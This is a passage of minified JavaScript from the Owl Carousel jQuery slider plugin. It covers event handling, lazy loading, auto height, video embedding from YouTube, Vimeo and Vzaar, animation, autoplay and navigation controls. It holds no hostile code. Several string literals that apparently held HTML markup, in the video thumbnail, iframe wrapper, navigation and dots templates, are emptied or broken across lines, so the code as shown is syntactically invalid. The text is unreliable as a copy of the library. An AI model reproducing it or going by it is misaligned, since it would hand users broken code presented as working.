c=a.event.special[b.name]._default;a.event.special[b.name]._default=function(a){return!c||!c.apply||a.namespace&&-1!==a.namespace.indexOf("owl")?a.namespace&&a.namespace.indexOf("owl")>-1:c.apply(this,arguments)},a.event.special[b.name].owl=!0}}else b.type===e.Type.State&&(this._states.tags[b.name]?this._states.tags[b.name]=this._states.tags[b.name].concat(b.tags):this._states.tags[b.name]=b.tags,this._states.tags[b.name]=a.grep(this._states.tags[b.name],a.proxy(function(c,d){return a.inArray(c,this._states.tags[b.name])===d},this)))},e.prototype.suppress=function(b){a.each(b,a.proxy(function(a,b){this._supress[b]=!0},this))},e.prototype.release=function(b){a.each(b,a.proxy(function(a,b){delete this._supress[b]},this))},e.prototype.pointer=function(a){var c={x:null,y:null};return a=a.originalEvent||a||b.event,a=a.touches&&a.touches.length?a.touches[0]:a.changedTouches&&a.changedTouches.length?a.changedTouches[0]:a,a.pageX?(c.x=a.pageX,c.y=a.pageY):(c.x=a.clientX,c.y=a.clientY),c},e.prototype.isNumeric=function(a){return!isNaN(parseFloat(a))},e.prototype.difference=function(a,b){return{x:a.x-b.x,y:a.y-b.y}},a.fn.owlCarousel=function(b){var c=Array.prototype.slice.call(arguments,1);return this.each(function(){var d=a(this),f=d.data("owl.carousel");f||(f=new e(this,"object"==typeof b&&b),d.data("owl.carousel",f),a.each(["next","prev","to","destroy","refresh","replace","add","remove"],function(b,c){f.register({type:e.Type.Event,name:c}),f.$element.on(c+".owl.carousel.core",a.proxy(function(a){a.namespace&&a.relatedTarget!==this&&(this.suppress([c]),f[c].apply(this,[].slice.call(arguments,1)),this.release([c]))},f))})),"string"==typeof b&&"_"!==b.charAt(0)&&f[b].apply(f,c)})},a.fn.owlCarousel.Constructor=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._interval=null,this._visible=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoRefresh&&this.watch()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers)};e.Defaults={autoRefresh:!0,autoRefreshInterval:500},e.prototype.watch=function(){this._interval||(this._visible=this._core.isVisible(),this._interval=b.setInterval(a.proxy(this.refresh,this),this._core.settings.autoRefreshInterval))},e.prototype.refresh=function(){this._core.isVisible()!==this._visible&&(this._visible=!this._visible,this._core.$element.toggleClass("owl-hidden",!this._visible),this._visible&&this._core.invalidate("width")&&this._core.refresh())},e.prototype.destroy=function(){var a,c;b.clearInterval(this._interval);for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(c in Object.getOwnPropertyNames(this))"function"!=typeof this[c]&&(this[c]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoRefresh=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._loaded=[],this._handlers={"initialized.owl.carousel change.owl.carousel resized.owl.carousel":a.proxy(function(b){if(b.namespace&&this._core.settings&&this._core.settings.lazyLoad&&(b.property&&"position"==b.property.name||"initialized"==b.type)){var c=this._core.settings,e=c.center&&Math.ceil(c.items/2)||c.items,f=c.center&&-1*e||0,g=(b.property&&b.property.value!==d?b.property.value:this._core.current())+f,h=this._core.clones().length,i=a.proxy(function(a,b){this.load(b)},this);for(c.lazyLoadEager>0&&(e+=c.lazyLoadEager,c.loop&&(g-=c.lazyLoadEager,e++));f++-1||(e.each(a.proxy(function(c,d){var e,f=a(d),g=b.devicePixelRatio>1&&f.attr("data-src-retina")||f.attr("data-src")||f.attr("data-srcset");this._core.trigger("load",{element:f,url:g},"lazy"),f.is("img")?f.one("load.owl.lazy",a.proxy(function(){f.css("opacity",1),this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("src",g):f.is("source")?f.one("load.owl.lazy",a.proxy(function(){this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("srcset",g):(e=new Image,e.onload=a.proxy(function(){f.css({"background-image":'url("'+g+'")',opacity:"1"}),this._core.trigger("loaded",{element:f,url:g},"lazy")},this),e.src=g)},this)),this._loaded.push(d.get(0)))},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this._core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Lazy=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(c){this._core=c,this._previousHeight=null,this._handlers={"initialized.owl.carousel refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&this.update()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&"position"===a.property.name&&this.update()},this),"loaded.owl.lazy":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&a.element.closest("."+this._core.settings.itemClass).index()===this._core.current()&&this.update()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._intervalId=null;var d=this;a(b).on("load",function(){d._core.settings.autoHeight&&d.update()}),a(b).resize(function(){d._core.settings.autoHeight&&(null!=d._intervalId&&clearTimeout(d._intervalId),d._intervalId=setTimeout(function(){d.update()},250))})};e.Defaults={autoHeight:!1,autoHeightClass:"owl-height"},e.prototype.update=function(){var b=this._core._current,c=b+this._core.settings.items,d=this._core.settings.lazyLoad,e=this._core.$stage.children().toArray().slice(b,c),f=[],g=0;a.each(e,function(b,c){f.push(a(c).height())}),g=Math.max.apply(null,f),g<=1&&d&&this._previousHeight&&(g=this._previousHeight),this._previousHeight=g,this._core.$stage.parent().height(g).addClass(this._core.settings.autoHeightClass)},e.prototype.destroy=function(){var a,b;for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoHeight=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._videos={},this._playing=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.register({type:"state",name:"playing",tags:["interacting"]})},this),"resize.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.video&&this.isInFullScreen()&&a.preventDefault()},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.is("resizing")&&this._core.$stage.find(".cloned .owl-video-frame").remove()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"===a.property.name&&this._playing&&this.stop()},this),"prepared.owl.carousel":a.proxy(function(b){if(b.namespace){var c=a(b.content).find(".owl-video");c.length&&(c.css("display","none"),this.fetch(c,a(b.content)))}},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._core.$element.on("click.owl.video",".owl-video-play-icon",a.proxy(function(a){this.play(a)},this))};e.Defaults={video:!1,videoHeight:!1,videoWidth:!1},e.prototype.fetch=function(a,b){var c=function(){return a.attr("data-vimeo-id")?"vimeo":a.attr("data-vzaar-id")?"vzaar":"youtube"}(),d=a.attr("data-vimeo-id")||a.attr("data-youtube-id")||a.attr("data-vzaar-id"),e=a.attr("data-width")||this._core.settings.videoWidth,f=a.attr("data-height")||this._core.settings.videoHeight,g=a.attr("href");if(!g)throw new Error("Missing video URL.");if(d=g.match(/(http:|https:|)\/\/(player.|www.|app.)?(vimeo\.com|youtu(be\.com|\.be|be\.googleapis\.com|be\-nocookie\.com)|vzaar\.com)\/(video\/|videos\/|embed\/|channels\/.+\/|groups\/.+\/|watch\?v=|v\/)?([A-Za-z0-9._%-]*)(\&\S+)?/),d[3].indexOf("youtu")>-1)c="youtube";else if(d[3].indexOf("vimeo")>-1)c="vimeo";else{if(!(d[3].indexOf("vzaar")>-1))throw new Error("Video URL not supported.");c="vzaar"}d=d[6],this._videos[g]={type:c,id:d,width:e,height:f},b.attr("data-video",g),this.thumbnail(a,this._videos[g])},e.prototype.thumbnail=function(b,c){var d,e,f,g=c.width&&c.height?"width:"+c.width+"px;height:"+c.height+"px;":"",h=b.find("img"),i="src",j="",k=this._core.settings,l=function(c){e='
',d=k.lazyLoad?a("
",{class:"owl-video-tn "+j,srcType:c}):a("
",{class:"owl-video-tn",style:"opacity:1;background-image:url("+c+")"}),b.after(d),b.after(e)};if(b.wrap(a("
",{class:"owl-video-wrapper",style:g})),this._core.settings.lazyLoad&&(i="data-src",j="owl-lazy"),h.length)return l(h.attr(i)),h.remove(),!1;"youtube"===c.type?(f="//img.youtube.com/vi/"+c.id+"/hqdefault.jpg",l(f)):"vimeo"===c.type?a.ajax({type:"GET",url:"//vimeo.com/api/v2/video/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a[0].thumbnail_large,l(f)}}):"vzaar"===c.type&&a.ajax({type:"GET",url:"//vzaar.com/api/videos/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a.framegrab_url,l(f)}})},e.prototype.stop=function(){this._core.trigger("stop",null,"video"),this._playing.find(".owl-video-frame").remove(),this._playing.removeClass("owl-video-playing"),this._playing=null,this._core.leave("playing"),this._core.trigger("stopped",null,"video")},e.prototype.play=function(b){var c,d=a(b.target),e=d.closest("."+this._core.settings.itemClass),f=this._videos[e.attr("data-video")],g=f.width||"100%",h=f.height||this._core.$stage.height();this._playing||(this._core.enter("playing"),this._core.trigger("play",null,"video"),e=this._core.items(this._core.relative(e.index())),this._core.reset(e.index()),c=a(''),c.attr("height",h),c.attr("width",g),"youtube"===f.type?c.attr("src","//www.youtube.com/embed/"+f.id+"?autoplay=1&rel=0&v="+f.id):"vimeo"===f.type?c.attr("src","//player.vimeo.com/video/"+f.id+"?autoplay=1"):"vzaar"===f.type&&c.attr("src","//view.vzaar.com/"+f.id+"/player?autoplay=true"),a(c).wrap('
').insertAfter(e.find(".owl-video")),this._playing=e.addClass("owl-video-playing"))},e.prototype.isInFullScreen=function(){var b=c.fullscreenElement||c.mozFullScreenElement||c.webkitFullscreenElement;return b&&a(b).parent().hasClass("owl-video-frame")},e.prototype.destroy=function(){var a,b;this._core.$element.off("click.owl.video");for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Video=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this.core=b,this.core.options=a.extend({},e.Defaults,this.core.options),this.swapping=!0,this.previous=d,this.next=d,this.handlers={"change.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&(this.previous=this.core.current(),this.next=a.property.value)},this),"drag.owl.carousel dragged.owl.carousel translated.owl.carousel":a.proxy(function(a){a.namespace&&(this.swapping="translated"==a.type)},this),"translate.owl.carousel":a.proxy(function(a){a.namespace&&this.swapping&&(this.core.options.animateOut||this.core.options.animateIn)&&this.swap()},this)},this.core.$element.on(this.handlers)};e.Defaults={animateOut:!1, animateIn:!1},e.prototype.swap=function(){if(1===this.core.settings.items&&a.support.animation&&a.support.transition){this.core.speed(0);var b,c=a.proxy(this.clear,this),d=this.core.$stage.children().eq(this.previous),e=this.core.$stage.children().eq(this.next),f=this.core.settings.animateIn,g=this.core.settings.animateOut;this.core.current()!==this.previous&&(g&&(b=this.core.coordinates(this.previous)-this.core.coordinates(this.next),d.one(a.support.animation.end,c).css({left:b+"px"}).addClass("animated owl-animated-out").addClass(g)),f&&e.one(a.support.animation.end,c).addClass("animated owl-animated-in").addClass(f))}},e.prototype.clear=function(b){a(b.target).css({left:""}).removeClass("animated owl-animated-out owl-animated-in").removeClass(this.core.settings.animateIn).removeClass(this.core.settings.animateOut),this.core.onTransitionEnd()},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this.core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Animate=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._call=null,this._time=0,this._timeout=0,this._paused=!0,this._handlers={"changed.owl.carousel":a.proxy(function(a){a.namespace&&"settings"===a.property.name?this._core.settings.autoplay?this.play():this.stop():a.namespace&&"position"===a.property.name&&this._paused&&(this._time=0)},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoplay&&this.play()},this),"play.owl.autoplay":a.proxy(function(a,b,c){a.namespace&&this.play(b,c)},this),"stop.owl.autoplay":a.proxy(function(a){a.namespace&&this.stop()},this),"mouseover.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"mouseleave.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.play()},this),"touchstart.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"touchend.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this.play()},this)},this._core.$element.on(this._handlers),this._core.options=a.extend({},e.Defaults,this._core.options)};e.Defaults={autoplay:!1,autoplayTimeout:5e3,autoplayHoverPause:!1,autoplaySpeed:!1},e.prototype._next=function(d){this._call=b.setTimeout(a.proxy(this._next,this,d),this._timeout*(Math.round(this.read()/this._timeout)+1)-this.read()),this._core.is("interacting")||c.hidden||this._core.next(d||this._core.settings.autoplaySpeed)},e.prototype.read=function(){return(new Date).getTime()-this._time},e.prototype.play=function(c,d){var e;this._core.is("rotating")||this._core.enter("rotating"),c=c||this._core.settings.autoplayTimeout,e=Math.min(this._time%(this._timeout||c),c),this._paused?(this._time=this.read(),this._paused=!1):b.clearTimeout(this._call),this._time+=this.read()%c-e,this._timeout=c,this._call=b.setTimeout(a.proxy(this._next,this,d),c-e)},e.prototype.stop=function(){this._core.is("rotating")&&(this._time=0,this._paused=!0,b.clearTimeout(this._call),this._core.leave("rotating"))},e.prototype.pause=function(){this._core.is("rotating")&&!this._paused&&(this._time=this.read(),this._paused=!0,b.clearTimeout(this._call))},e.prototype.destroy=function(){var a,b;this.stop();for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.autoplay=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){"use strict";var e=function(b){this._core=b,this._initialized=!1,this._pages=[],this._controls={},this._templates=[],this.$element=this._core.$element,this._overrides={next:this._core.next,prev:this._core.prev,to:this._core.to},this._handlers={"prepared.owl.carousel":a.proxy(function(b){b.namespace&&this._core.settings.dotsData&&this._templates.push('
'+a(b.content).find("[data-dot]").addBack("[data-dot]").attr("data-dot")+"
")},this),"added.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,0,this._templates.pop())},this),"remove.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,1)},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&this.draw()},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&!this._initialized&&(this._core.trigger("initialize",null,"navigation"),this.initialize(),this.update(),this.draw(),this._initialized=!0,this._core.trigger("initialized",null,"navigation"))},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._initialized&&(this._core.trigger("refresh",null,"navigation"),this.update(),this.draw(),this._core.trigger("refreshed",null,"navigation"))},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this.$element.on(this._handlers)};e.Defaults={nav:!1,navText:['',''],navSpeed:!1,navElement:'button type="button" role="presentation"',navContainer:!1,navContainerClass:"owl-nav",navClass:["owl-prev","owl-next"],slideBy:1,dotClass:"owl-dot",dotsClass:"owl-dots",dots:!0,dotsEach:!1,dotsData:!1,dotsSpeed:!1,dotsContainer:!1},e.prototype.initialize=function(){var b,c=this._core.settings;this._controls.$relative=(c.navContainer?a(c.navContainer):a("
").addClass(c.navContainerClass).appendTo(this.$element)).addClass("disabled"),this._controls.$previous=a("<"+c.navElement+">").addClass(c.navClass[0]).html(c.navText[0]).prependTo(this._controls.$relative).on("click",a.proxy(function(a){this.prev(c.navSpeed)},this)),this._controls.$next=a("<"+c.navElement+">").addClass(c.navClass[1]).html(c.navText[1]).appendTo(this._controls.$relative).on("click",a.proxy(function(a){this.next(c.navSpeed)},this)),c.dotsData||(this._templates=[a('